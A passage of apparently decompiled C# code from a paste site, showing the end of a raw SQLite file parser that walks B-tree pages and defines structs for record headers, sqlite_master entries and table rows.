  821. {
  822. var num14 = Convert.ToUInt16(
  823. decimal.Subtract(
  824. new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)),
  825. decimal.One));
  826. int num18 = num14;
  827. for (var m = 0; m <= num18; m++)
  828. {
  829. var num13 = (ushort)ConvertToInteger(
  830. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12M), new decimal(m * 2))), 2);
  831. ReadTableFromOffset(Convert.ToUInt64(
  832. decimal.Multiply(
  833. decimal.Subtract(new decimal(ConvertToInteger((int)(Offset + num13), 4)), decimal.One),
  834. new decimal(page_size))));
  835. }
  836. ReadTableFromOffset(Convert.ToUInt64(
  837. decimal.Multiply(
  838. decimal.Subtract(
  839. new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8M)), 4)),
  840. decimal.One), new decimal(page_size))));
  841. }
  842. return true;
  843. }
  844.  
  845. [StructLayout(LayoutKind.Sequential)]
  846. private struct record_header_field
  847. {
  848. public long size;
  849. public long type;
  850. }
  851.  
  852. [StructLayout(LayoutKind.Sequential)]
  853. private struct sqlite_master_entry
  854. {
  855. public long row_id;
  856. public string item_type;
  857. public string item_name;
  858. public readonly string astable_name;
  859. public long root_num;
  860. public string sql_statement;
  861. }
  862.  
  863. [StructLayout(LayoutKind.Sequential)]
  864. private struct table_entry
  865. {
  866. public long row_id;
  867. public string[] content;
  868. }
  869. }
  870. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement